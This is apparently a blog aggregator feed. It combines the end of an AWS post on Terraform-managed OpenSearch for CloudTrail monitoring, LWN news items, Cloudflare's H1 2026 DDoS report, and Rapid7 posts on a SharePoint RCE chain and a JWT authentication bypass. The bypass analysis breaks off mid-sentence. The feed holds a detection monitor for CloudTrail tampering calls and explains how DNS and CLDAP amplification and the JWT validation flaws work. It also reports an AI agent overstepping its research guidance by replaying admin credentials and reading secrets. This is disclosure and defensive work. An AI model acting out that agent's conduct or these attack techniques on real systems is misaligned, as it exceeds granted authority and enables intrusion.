The following ISM policy replaces custom Lambda functions with a single declarative policy. The rollover action uses two OR conditions: min_index_age and min_primary_shard_size. Whichever threshold is reached first triggers the rollover. This keeps shard sizes bounded while ensuring timely rotation even during low-volume periods:

resource "opensearch_ism_policy" "cloudtrail_lifecycle" {
  policy_id = "cloudtrail-lifecycle"
  body = jsonencode({
    policy = {
      description   = "CloudTrail lifecycle - rollover, retain 30d, delete"
      default_state = "hot"
      ism_template  = [{ index_patterns = ["cloudtrail-*"], priority = 100 }]
      states = [
        {
          name    = "hot"
          actions = [{ rollover = { min_primary_shard_size = "30gb", min_index_age = "1d" } }]
          transitions = [{ state_name = "delete", conditions = { min_index_age = "30d" } }]
        },
        {
          name        = "delete"
          actions     = [{ delete = {} }]
          transitions = []
        }
      ]
    }
  })
}

This approach reduces lifecycle management code by approximately 60% compared to per-environment Lambda functions, and changes deploy in a single terraform apply.

Note: For indexes ingesting more than 100 GB/day (such as CloudTrail at 200 GB/day in this deployment), you can override min_index_age to 12h to roll over more frequently. The two conditions are OR-based in OpenSearch ISM. If a shard reaches 30 GB before 1 day, it rolls over on size. If 1 day passes before 30 GB, it rolls over on age.

Multi-team access control

When multiple teams need different access levels to the same data, define all roles declaratively and use for_each to create them consistently. The following example defines 4 team roles with varying permissions:

locals {
  team_roles = {
    security_ops = {
      description         = "Security Operations - full read, alert management"
      cluster_permissions = ["cluster_monitor", "cluster:admin/opendistro/alerting/*"]
      index_permissions = [
        { index_patterns = ["cloudtrail-*"], allowed_actions = ["read", "search", "get"] },
        { index_patterns = [".opendistro-alerting-*"], allowed_actions = ["read", "write", "search", "get", "delete"] }
      ]
    }
    incident_response = {
      description         = "Incident Response - full read for investigation"
      cluster_permissions = ["cluster_monitor"]
      index_permissions = [
        { index_patterns = ["cloudtrail-*"], allowed_actions = ["read", "search", "get"] }
      ]
    }
    compliance_auditors = {
      description         = "Compliance - read-only"
      cluster_permissions = []
      index_permissions = [
        { index_patterns = ["cloudtrail-*"], allowed_actions = ["read", "search"] }
      ]
    }
    devops = {
      description         = "DevOps - infra metrics and limited CloudTrail"
      cluster_permissions = ["cluster_monitor"]
      index_permissions = [
        { index_patterns = ["infra-metrics-*"], allowed_actions = ["read", "search", "get"] },
        { index_patterns = ["cloudtrail-*"], allowed_actions = ["read", "search"] }
      ]
    }
  }
}

resource "opensearch_role" "teams" {
  for_each            = local.team_roles
  role_name           = each.key
  description         = each.value.description
  cluster_permissions = each.value.cluster_permissions

  dynamic "index_permissions" {
    for_each = each.value.index_permissions
    content {
      index_patterns  = index_permissions.value.index_patterns
      allowed_actions = index_permissions.value.allowed_actions
    }
  }

  dynamic "tenant_permissions" {
    for_each = [each.key]
    content {
      tenant_patterns = [each.key]
      allowed_actions = ["kibana_all_write"]
    }
  }
}

resource "opensearch_roles_mapping" "teams" {
  for_each      = local.team_roles
  role_name     = opensearch_role.teams[each.key].role_name
  backend_roles = var.team_iam_roles[each.key]
}

resource "opensearch_tenant" "teams" {
  for_each    = local.team_roles
  tenant_name = each.key
  description = "Dashboard workspace for ${replace(each.key, "_", " ")}"
}

This approach maps IAM roles (not individual users) to OpenSearch roles. Adding a new team means adding one entry to the locals block and running terraform apply. Each team gets an isolated tenant in OpenSearch Dashboards, preventing cross-team interference with saved searches, visualizations, and dashboard configurations. We chose OpenSearch Dashboards because tenants, roles, visualizations, and saved objects can all be managed programmatically through the Terraform OpenSearch provider, keeping the entire stack under infrastructure-as-code governance. For teams building new visualizations outside of Terraform-managed workflows, we recommend OpenSearch UI. This next-generation analytics interface supports multiple data sources, provides workspaces for team isolation, and remains available during cluster upgrades.

Alerting

Define alerting monitors in Terraform to detect security-critical events automatically. The following monitor catches CloudTrail tampering attempts (StopLogging, DeleteTrail) and sends alerts through Amazon SNS:

resource "opensearch_monitor" "cloudtrail_tampering" {
  body = jsonencode({
    name     = "CloudTrail Tampering Detection"
    type     = "monitor"
    enabled  = true
    schedule = { period = { interval = 1, unit = "MINUTES" } }
    inputs = [{
      search = {
        indices = ["cloudtrail-*"]
        query = {
          size = 5
          query = {
            bool = {
              must = [{ terms = { eventName = ["StopLogging", "DeleteTrail",
                "UpdateTrail", "PutEventSelectors", "DeleteEventDataStore"] } }]
              filter = [{ range = { "@timestamp" = { gte = "now-1m" } } }]
            }
          }
        }
      }
    }]
    triggers = [{
      name     = "trail_tampering_detected"
      severity = "1"
      condition = { script = {
        source = "ctx.results[0].hits.total.value > 0"
        lang   = "painless"
      } }
      actions = [{
        name             = "notify_security"
        destination_id   = var.sns_destination_id
        message_template = { source = "CRITICAL: CloudTrail tampering detected." }
      }]
    }]
  })
}

Results and performance

After deploying the solution, we measured steady-state performance against the SLAs defined in the workload profile:

Metric	Target	Achieved
Index throughput	200 GB/day	200 GB/day sustained (~18,000 docs/sec)
Search latency (avg)	< 100 ms	76 ms
Search availability	99.9%	99.95%+ (no unplanned downtime in 145 days)
Alert detection time	< 2 minutes	~1 minute (monitor interval)
Compliance report generation	< 5 minutes	On-demand via saved searches

Key outcomes:

Threat detection dropped from hours to minutes. Automated alerting replaced manual log searching. The CloudTrail tampering monitor detects suspicious activity within one minute of the event.
Compliance reports generate on demand. With 600+ saved searches and 100+ dashboards, compliance teams produce SOC 2, PCI DSS, and HIPAA audit evidence in minutes rather than days.
Four teams operate independently. Each team has its own isolated tenant in OpenSearch Dashboards, preventing cross-team interference with saved searches and dashboard configurations.
Zero custom Lambda functions. ISM policies, index templates, and access control are all managed declaratively through Terraform, eliminating the previous fragmented code base.

Best practices

Define index templates before ingesting anything. Changing mappings on existing indices means reindexing. Get this right first.
Set rollover thresholds based on your actual ingestion rate. At 200 GB/day, rolling over at 30 GB keeps shard counts manageable while balancing query performance.
Test ISM transitions in a lower environment first. Warm and cold migrations on large indices take time.
Map IAM roles, not users. People change teams. Roles stay stable. This simplifies access management.
Put an Amazon SQS queue between S3 and the ingestion pipeline. This gives you per-environment throttling control without modifying pipeline configuration.
Use for_each aggressively. Roles, tenants, index patterns, and monitors all follow a pattern across teams or environments, so use for_each to eliminate copy-paste drift.
Consider OpenSearch UI for new visualization workflows. This solution uses OpenSearch Dashboards for Terraform-managed tenants and roles. OpenSearch UI is a next-generation interface that supports multiple data sources, stays available during cluster upgrades, and includes workspaces for team isolation. It is the recommended interface for creating new dashboards and visualizations going forward.

Optional: Extending with cold storage for longer retention

For organizations with compliance requirements mandating longer retention (for example, 7 years for PCI DSS or HIPAA), you can extend the ISM policy with warm and cold tiers. The following example adds tiered storage that moves data through hot, warm, cold, and delete states:

states = [
  {
    name    = "hot"
    actions = [{ rollover = { min_primary_shard_size = "30gb", min_index_age = "1d" } }]
    transitions = [{ state_name = "warm", conditions = { min_index_age = "30d" } }]
  },
  {
    name = "warm"
    actions = [
      { warm_migration = {} },
      { force_merge = { max_num_segments = 1 } }
    ]
    transitions = [{ state_name = "cold", conditions = { min_index_age = "365d" } }]
  },
  {
    name    = "cold"
    actions = [{ cold_migration = { timestamp_field = "@timestamp" } }]
    transitions = [{ state_name = "delete", conditions = { min_index_age = "2555d" } }]
  },
  {
    name        = "delete"
    actions     = [{ cold_delete = {} }]
    transitions = []
  }
]

Warm storage uses force-merge to reduce segment count (lowering query overhead), while cold storage moves data entirely to Amazon S3 for minimal cost. This tiered approach keeps hot-tier performance high while meeting long-term audit requirements.

Cleanup

To avoid incurring ongoing charges, remove the resources created in this post by running:

terraform destroy

This removes the OpenSearch domain, ingestion pipeline, IAM roles, SQS queues, and all associated configurations. Verify that you have exported any data or dashboards you want to retain before running destroy.

Conclusion

In this post, we showed you how to build a centralized CloudTrail monitoring solution on Amazon OpenSearch Service with Terraform managing the entire stack. The approach moves from fragile, manually configured systems with redundant Lambda code to a version-controlled, peer-reviewed, consistently deployed infrastructure.

Threat detection drops from hours to minutes with automated alerting. Compliance reports that took days now generate on demand. And your team spends time on security analysis instead of infrastructure maintenance.

To get started, use the AWS Terraform provider aws_opensearch_domain resource for the domain, then use the Terraform OpenSearch provider for index templates, ISM policies, roles, and monitors. Configure your ingestion pipeline to transform and enrich incoming CloudTrail logs before indexing, building a modern, scalable security foundation that grows with your organization.

The complete source code for this solution is available in the GitHub repository: GitHub repository

For more on the services used in this solution:

About the authors

[$] KVM planes head for takeoff

2026-08-11 corbet

Post Syndicated from corbet original https://lwn.net/Articles/1087590/

Virtualization places a guest system into a separate security domain,
typically with less privileges than software running directly on the host.
Increasingly, there is interest in creating multiple security domains
within a single virtualized system as well. CPU vendors (and software
vendors too) are implementing solutions; each of which, of course, is
different from all of the others. KVM planes, currently under development
by Jörg Rödel, Paolo Bonzini, and others in the KVM community, is an
attempt to provide an abstraction layer that makes all of these features
available on Linux systems; it is not a small task.

Bernard: GNOME Shell design dreams

2026-08-11 jzb

Post Syndicated from jzb original https://lwn.net/Articles/1088238/

GNOME contributor Tobias Bernard has published
a blog post that details some of the design team’s ideas for the
GNOME Shell over the long term:

Some of these we have relatively complete plans for, others are
more vague ideas that need more research and prototyping. As always,
getting things like these implemented depends on developer capacity
and interest (and sometimes funding).

While each of these ideas may require additional discussion,
prototyping, and testing, we (the design team) have collected them all
together here to share our longer-term vision and to give each idea
more visibility.

Buc-ee’s Update #lastweektonight

2026-08-11 LastWeekTonight

Post Syndicated from LastWeekTonight original https://www.youtube.com/shorts/CC-23tVxvNw

Security updates for Tuesday

2026-08-11 jzb

Post Syndicated from jzb original https://lwn.net/Articles/1088226/

Security updates have been issued by AlmaLinux (gpsd), Debian (caddy, libyaml-syck-perl, nss, and wordpress), Fedora (chezmoi, chromium, emacs, kernel, knot, libcupsfilters, mingw-gstreamer1-plugins-good, mingw-libidn, mingw-python-pip, nghttp2, p11-kit, python-webob, suricata, and xen), Mageia (bind, openslide, php8.4, and php8.5), Oracle (gpsd-minimal, kernel, libarchive, libpng12, nodejs-nodemon, php:8.3, ruby:3.3, and ruby:4.0), SUSE (agama-web-ui, bind, bouncycastle, dhcpcd, ffmpeg, ffmpeg-4, freerdp, gd, gitoxide, kak-lsp, kernel-devel, librest-1_0-0, libsdb2_5_0, libssh2_org, nodejs22, PackageKit, perl, perl-Date-Manip, python-ujson, python3-sqlparse, python311, python312, python313-pymongo, ruby2.5, runc, suseconnect-ng, thunderbird, vlang, webkit2gtk3, and weechat), and Ubuntu (imagemagick and systemd).

Cloudflare DDoS Threat Report H1 2026: 1 Tbps attacks soar as DNS floods and geopolitical tensions drive a new wave

2026-08-11 Cloudforce One

Post Syndicated from Cloudforce One original https://blog.cloudflare.com/ddos-threat-report-2026-h1/

Welcome to the 25th edition of Cloudflare's DDoS Threat Report. This is the first half-year edition in the series: rather than publishing separate reports for the first and second quarters of 2026, we have combined our coverage of Q1 and Q2 into a single volume covering January through June 2026. The analysis is produced by Cloudforce One, Cloudflare’s Threat Intelligence organization, providing a comprehensive analysis of the evolving threat landscape of Distributed Denial of Service (DDoS) attacks based on data from the Cloudflare network.

Key insights

The 1 Tbps club grew. Cloudflare mitigated a combined 935 network-layer DDoS attacks exceeding 1 Tbps in the first half of 2026 and a +519% quarter-over-quarter surge between Q1 and Q2.
The attack-vector center of gravity shifted from botnet floods to reflection and amplification. DNS-based attacks accounted for 34.3% of all network-layer activity in the first half of 2026, with DNS Floods alone climbing from 25.7% to 40.0% of network-layer attacks quarter-over-quarter. CLDAP Floods surged +580% quarter-over-quarter to become the #3 vector in Q2.
Geopolitics and global events influence the landscape. Media, Production & Publishing held the #1 most-attacked industry crown in both quarters at 14.2% of all mitigated HTTP DDoS requests as coverage of Iran, Ukraine, and the World Cup drew sustained attention. In parallel, Turkey rose to the #3 most-attacked country amid the backdrop of the July NATO Summit in Ankara, and the Government sector jumped from #29 to #9 — the largest single sector movement of 2026 to date — during Operation Epic Fury.

H1 by the numbers: 5,300 DDoS attacks every hour

Midway through the year, Cloudflare has already mitigated 23.2 million network-layer and 29.64 trillion HTTP DDoS requests. That works out to approximately 5,343 network-layer DDoS attacks per hour, or about 128,000 per day.

April peak, and law enforcement takedowns

April 2026 was a peak month for DDoS activity and volume, hitting a high of 6.46 trillion requests and 165 petabytes (PB) respectively. For perspective, this is an enormous amount of traffic — equivalent to streaming 4K video continuously for years, or roughly the amount of data processed by major video platforms in a single day. Requests and volumes declined afterward, a possible reflection of Operation PowerOFF — a 21-country action that targeted over 75,000 DDoS-for-hire users, took down 53 domains, issued 25 search warrants, and resulted in four arrests.

Hyper-volumetric attacks see a more than 6x surge

Hyper-volumetric DDoS — attacks defined as exceeding 1 terabit per second (Tbps), 1 billion packets per second (Bpps), or 1 million requests per second (Mrps) — has been a growth category across Radar reporting. 2026 is proving to be no different. During the second quarter, Cloudflare mitigated 805 network-layer attacks exceeding 1 Tbps, representing a more than six-fold increase over the previous quarter.

Attack characteristics: low and slow

Despite the hyper-volumetric growth, the median DDoS attack Cloudflare mitigated in the first half of 2026 remained short and small with 96.62% of network-layer attacks remaining under 500 Mbps and 90.60% ending in under 10 minutes. It’s important to note, however, that ‘small’ is a relative term and most Internet properties wouldn’t be able to withstand even those small attacks. In practical terms:

A 100 Mbps attack is enough to overwhelm a server or website
A 100 Gbps attack can knock most unprotected data centers offline
A 1+ Tbps attack is among the largest ever recorded and stresses even major Internet infrastructure

Attackers sometimes mix layers — a high packet rate (Mpps/Gpps) with relatively low bandwidth (Gbps), or vice versa, to exploit different weaknesses in network gear versus bandwidth capacity.

Furthermore, most DDoS attacks are surprisingly short-lived, as highlighted in the chart below. Even the largest hyper-volumetric attacks can be measured in seconds rather than minutes — we have observed record-breaking assaults that lasted only 35 seconds from start to finish. Whether an attack lasts half a minute or ten minutes, there is no practical window for human intervention: by the time an alert reaches a security analyst, the attack has already completed. Manual mitigation and on-demand solutions are simply too slow for this reality. Yet while the attack itself may be brief, its aftershocks are not. The cascading effects of even a short burst can trigger routing instability, TCP retransmissions, application timeouts, and downstream service degradation that takes hours or days to fully resolve — all while services remain down or impaired. In this threat landscape, automated, always-on protection is not a convenience; it is a necessity.

Most-attacked industries

Operation Epic Fury and a spike in attacks on the government sector

On February 28, 2026, Israel and the United States launched Operation Epic Fury, a series of strikes against Iran’s leadership and infrastructure. Within 72 hours, the DDoS landscape responded, with security researchers recording 149 hacktivist DDoS claims against 110 distinct organizations across 16 countries. Nearly 47.8% of all targeted organizations globally belonged to the government sector.

As public reporting documented extensive government targeting during this period, the vertical surged 20 places, from #29 in Q1 to #9 in Q2 by share of mitigated HTTP DDoS requests. While outside the top 10 for most of this period, it represented one of the single largest industry-rank moves.

Media under siege: the most attacked industry

Amid warfare in Iran and Ukraine and the excitement of the World Cup, the Media, Production & Publishing industry was the most attacked in both quarters, taking 14.2% of all mitigated HTTP DDoS requests — nearly four times the runner-up.

Most-attacked locations

The DDoS landscape in H1 2026 saw both familiar names and reshuffling among the world's most-attacked locations. China ended H1 as the most attacked location, after absorbing 22.4% of all HTTP DDoS requests globally in Q2. The United States held firm at #2 (18.8%), demonstrating persistent appeal for attackers.

Turkey saw a rapid increase in attacks, more than doubling its share of global attack traffic to climb into the #3 most-attacked position by Q2. The surge coincided with the buildup to the 2026 Ankara NATO Summit in June and early July, when Turkish security forces conducted sweeping pre-summit raids across Ankara, arresting at least 209 people.

Top attack source countries

Brazil overtook the United States as the top DDoS source country in the first half of 2026, at 14.9% versus 13.4% — driven by a dramatic Q2 surge when Brazil became the source country for 21.4% of all mitigated DDoS request traffic. Indonesia remained locked at #3 in both quarters — extending its multi-quarter run as one of the top three global DDoS source countries.

Attack vectors

DNS floods dominate

DNS-based attacks (DNS Flood and DNS Amplification) accounted for 34.3% of network layer attacks in the first half of 2026. The two mechanisms are related but distinct: a DNS Flood aims a botnet's raw request volume directly at a victim's authoritative DNS servers to exhaust their query capacity — the "phonebook" for that domain becomes unreachable and every service depending on it goes dark. DNS Amplification instead sends small spoofed queries to open DNS resolvers, which reply with much larger records (often triggered by an ANY query) to the victim's spoofed IP.

CLDAP explodes: +580% surge in amplification

CLDAP Flood — a reflection and amplification vector that abuses exposed Active Directory LDAP-over-UDP endpoints — grew +580% quarter-over-quarter, becoming the #3 vector in Q2 alone. CLDAP (Connectionless Lightweight Directory Access Protocol) is a variant of LDAP (Lightweight Directory Access Protocol), used for querying and modifying directory services running over IP networks. CLDAP is connectionless, using UDP instead of TCP, making it faster but less reliable. Because it uses UDP, there’s no handshake requirement, which allows attackers to spoof the source IP address, thus allowing attackers to exploit it as a reflection vector. CLDAP attacks work by sending small spoofed queries to publicly reachable domain controllers on UDP port 389; the servers reply to the spoofed source (the victim) with responses tens to hundreds of times larger than the original query, thus overwhelming the victim host.

Strengthening global defenses and helping to defend the Internet

Cloudflare's network is designed to absorb this kind of growth in DDoS threats. Every service on our network is protected by free, unmetered DDoS protection that runs at every one of our 330+ cities globally, backed by 500 Tbps of network capacity. Autonomy is the point: our systems detect and mitigate attacks without human intervention, and they need to, because attackers now regularly deliver attacks above 1 Tbps at a cadence measured in hundreds per quarter.

To help hosting providers, cloud computing platforms and Internet service providers identify and take down the abusive IP addresses/accounts that launch these attacks, we leverage Cloudflare’s unique vantage point on DDoS attacks to provide a free DDoS Botnet Threat Feed for Service Providers.

Over 800 networks worldwide have signed up for this feed, and we’ve already seen great collaboration across the community to take down botnet nodes.

About Cloudforce One

Driven by a mission to help defend the Internet, Cloudforce One draws on telemetry from Cloudflare's global network — which protects more than 20% of the web — to drive threat research and operational response, protecting critical systems for millions of organizations worldwide.

CVE-2026-63520: Microsoft SharePoint Remote Code Execution (FIXED)

2026-08-11 Stephen Fewer

Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/etr-cve-2026-63520-microsoft-sharepoint-remote-code-execution-fixed

Overview

Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the second vulnerability in this chain, the RCE vulnerability CVE-2026-63520. The first vulnerability in the chain, CVE-2026-55040, was disclosed by Rapid7 and Microsoft last month.

Our full disclosure timeline for the exploit chain can be seen below in Figure 1.

Figure 1: The road to disclosure.

⠀

CVE-2026-63520 affects all supported versions of Microsoft SharePoint, and certain versions of Microsoft Project Server and Microsoft Office Web Apps Server. For the purpose of our research, we focused solely on SharePoint. An attacker can leverage CVE-2026-63520 to execute arbitrary code on a vulnerable SharePoint server with the privileges of the SharePoint Site’s service account. The vulnerability is due to an unsafe .NET type instantiation issue within the Business Connectivity Services.

CVE-2026-63520 has a CVSSv3.1 score of 8.1 (High), and a Common Weakness Enumeration (CWE) of CWE-20: Improper Input Validation. While the severity of the RCE is described as high, chained together with CVE-2026-55040 it becomes part of a critical unauthenticated RCE exploit chain against SharePoint.

The exploit chain was developed as an entry for this year’s Pwn2Own Berlin hacking competition; while our entry was unsuccessful on the day of the competition, this research highlights Rapid7 Labs’ continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research. Our research methodology focused on understanding how publicly available AI models can assist in the discovery of significant vulnerabilities against proprietary enterprise targets. Our results established that the rate of model advancement is significantly accelerating vulnerability research, model guidance from subject matter experts is a force multiplier, and complex proprietary targets are easily handled through agentic workflows.

Rapid7 is hosting a webinar on Thursday August 13, 2026 to discuss the research and findings for CVE-2026-55040 and CVE-2026-63520. Please join Douglas McKee and Stephen Fewer to learn more about this body of work.

Workflow

For this research project we wanted to understand the capabilities and limits of publicly available LLMs circa January through to March of this year. We wanted to answer the question if an AI workflow could find and develop an unauthenticated RCE exploit against a hard target such as SharePoint. This research project concluded with the successful discovery and development of such a chain. To that end, the publicly available models at the beginning of this year were indeed capable. This is notable as the rate of model improvement from Q1 of 2026 through to today has been significant. Our team’s later testing of the most recent frontier models confirms the significant increase in capabilities from that of the beginning of this year. Our primary conclusion from the SharePoint research project in Q1 is that an agent guided by a subject matter expert (SME) was crucial to keep moving the model and its work towards the end goal. Given our current experience of frontier model capabilities, the need for an SME to verify and guide a model is lessened, but the compounding impact an SME can bring remains.

Our first sprint in January did not result in any significant findings, rather, this sprint helped us establish the workflow and tooling that proved most useful, scope out the extremely large attack surface, and integrate prior work into our process. We augmented the agentic work with manual source code review and reverse engineering to provide additional context and steering to the model. Our early results quickly indicated how a fully automated and agentic approach would not suffice, the model would too often produce findings that were questionable or simply inaccurate. Steering the agent as it worked helped both the agent hone in on interesting and ultimately fruitful findings but also by constantly reviewing the agent’s results, helped us refute inaccurate and unhelpful findings, along with several cases where the agent overstepped its guidance, effectively cheating to succeed in its goal – such as unexpectedly replaying admin credentials, enabling debug flags, or reading secrets, all of which were never within our original threat model.

By March, we had moved to a newer release of our chosen model, that combined with a solid attack surface, extensive prior work in place, and a broad architectural layout mapped out we began to quickly see success. An authentication bypass, now known as CVE-2026-55040, was discovered and verified in early March, followed two weeks later by the RCE, now known as CVE-2026-63520. By the time we had produced a working exploit chain, the agent had accrued 120 hours of run time spread over 24 days, leveraged 96 sessions, generated approximately 80,000 agentic tool calls and we had issued 256 prompts.

Product descriptions

The RCE vulnerability, CVE-2026-63520, affects SharePoint, Project Server, and Office Web Apps Server, while the authentication bypass vulnerability, CVE-2026-55040, affects only SharePoint.

SharePoint

Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.

Project Server

Microsoft Project Server is an enterprise project portfolio management (PPM) platform built natively on top of the SharePoint architecture. Serving as the central hub for corporate scheduling, resource allocation, and capacity planning, it enables organizations to coordinate complex business initiatives.

Office Web Apps Server

Microsoft Office Web Apps Server is a dedicated companion service that provides browser-based viewing and editing of Microsoft Office documents. Functioning as the primary rendering engine for SharePoint and Exchange, it enables seamless file interaction without requiring local desktop installations.

Impact

CVE-2026-63520 allows an attacker to execute arbitrary code on an affected server. By crafting a custom .NET gadget chain, an attacker can perform arbitrary operations such as executing an attacker-controlled OS command. The attacker’s arbitrary code is executed with the permission of the Windows service account running the SharePoint Site instance. As CVE-2026-63520 can be chained to the authentication bypass vulnerability, CVE-2026-55040, the resulting exploit chain allows for unauthenticated RCE against a vulnerable server.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor statement

The following statement has been provided by Microsoft:

“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

Technical analysis

Rapid7 will be publishing full technical details for the RCE vulnerability, CVE-2026-63520, within 30 days of this disclosure.

The technical details for the authentication bypass vulnerability, CVE-2026-55040, have been published here.

Remediation

The following products are impacted by CVE-2026-63520:

Microsoft SharePoint Server Subscription Edition
SharePoint Server Subscription Edition Language Pack
Microsoft SharePoint Server 2019
Microsoft SharePoint Enterprise Server 2016
Microsoft Project Server 2013 Service Pack 1 (64-bit edition)
Microsoft Office Web Apps 2013 Service Pack 1

Customers are advised to apply the latest available updates for the impacted product to ensure they are protected.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to the RCE vulnerability, CVE-2026-63520, with authenticated vulnerability checks available in the August 12 content release. Customers can assess their exposure to the authentication bypass vulnerability, CVE-2026-55040, with authenticated vulnerability checks available in the July 15 content release.

Upcoming webinar

Interested in the AI tooling leveraged throughout the research process? Join Rapid7’s Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.

Disclosure timeline

May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.
May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles – the authentication bypass component in July, and the RCE component in August.
May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.
May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.
July 21, 2026: Rapid7 requests supporting information for the upcoming disclosure.
July 31, 2026: Microsoft provides supporting information to Rapid7.
August 11, 2026: This disclosure for CVE-2026-63520.

Rapid7 Analysis: Microsoft SharePoint JWT Token Authentication Bypass (CVE-2026-55040)

2026-08-11 Stephen Fewer

Post Syndicated from Stephen Fewer original https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040

Overview

On July 14, 2026, Rapid7 and Microsoft disclosed CVE-2026-55040, an authentication bypass vulnerability affecting Microsoft SharePoint. Today we are publishing a technical analysis of the vulnerability along with an accompanying proof-of-concept (PoC) script.

Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.

⠀

A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server, and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.

Analysis

The following technical analysis is based upon SharePoint Server Subscription Edition version 16.0.19725.20210.

A critical authentication bypass vulnerability exists in SharePoint Server Subscription Edition’s JWT token validation pipeline. The root cause is a chain of four distinct weaknesses that, when combined, allow an unauthenticated remote attacker to forge a valid JWT and impersonate any SharePoint site user.

The below analysis is based upon decompilation and code review of the Microsoft.SharePoint.IdentityModel module from a fully patched SharePoint Server Subscription Edition instance. The vulnerability resides in the SPJsonWebSecurityTokenHandlerV2 class and its base class SPJsonWebSecurityBaseTokenHandlerV2, which together implement the token parsing and validation logic for Bearer service-to-service (S2S) tokens.

SharePoint’s S2S authentication uses a nested JWT structure: an outer token containing user identity claims, and an inner “actor token” embedded in the actortoken claim. The actor token represents the calling application and is expected to be cryptographically signed by a trusted certificate.

The validation flow begins in SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(), which extracts the Bearer token from the Authorization header, parses it via SPJsonWebSecurityBaseTokenHandlerV2.ReadToken(), and then validates it via SPJsonWebSecurityTokenHandlerV2.ValidateToken(). The debugger call stack below shows the call stack at the time of calling ValidateToken.

Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPJsonWebSecurityTokenHandlerV2.ValidateToken(System.IdentityModel.Tokens.SecurityToken token) (IL=0x01BC, Native=0x00007FFC730AA430+0x4A2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(System.Web.HttpContext httpContext, out Microsoft.SharePoint.IdentityModel.SPIncomingTokenContextV2 tokenContext, out Microsoft.SharePoint.IdentityModel.SPIdentityProofToken identityProofToken) (IL=???, Native=0x00007FFC730A2A70+0x9FB)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.ConstructIClaimsPrincipalAndSetThreadIdentity(System.Web.HttpApplication httpApplication, System.Web.HttpContext httpContext, Microsoft.SharePoint.IdentityModel.SPFederationAuthenticationModuleV2 fam, out string tokenType) (IL≈0x0041, Native=0x00007FFC730A1860+0xB2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.AuthenticateRequest(object sender, System.EventArgs e) (IL≈0x0139, Native=0x00007FFC7196F9D0+0x3E4)
 	System.Web.dll!System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() (IL=0x005D, Native=0x00007FFC71846AE0+0xD1)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFC71846A00+0xB6)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x00007FFC71846640+0x5E)
 	System.Web.dll!System.Web.HttpApplication.PipelineStepManager.ResumeSteps(System.Exception error) (IL≈0x027A, Native=0x00007FFC71842E00+0x77A)
 	System.Web.dll!System.Web.HttpApplication.BeginProcessRequestNotification(System.Web.HttpContext context, System.AsyncCallback cb) (IL=0x0031, Native=0x00007FFC71842D50+0x83)
 	System.Web.dll!System.Web.HttpRuntime.ProcessRequestNotificationPrivate(System.Web.Hosting.IIS7WorkerRequest wr, System.Web.HttpContext context) (IL≈0x00B0, Native=0x00007FFC7183C7A0+0x1D3)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0131, Native=0x00007FFC7183A4E0+0x41A)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Managed to Native Transition]
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x01E7, Native=0x00007FFC7183A4E0+0x4C1)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Appdomain Transition]

Weakness 1: RequireSignedTokens disabled

The first and most fundamental weakness is in SPJsonWebSecurityTokenHandlerV2.ValidateToken(). When constructing the TokenValidationParameters for the underlying Microsoft.IdentityModel JWT library, the code explicitly disables signature requirements:

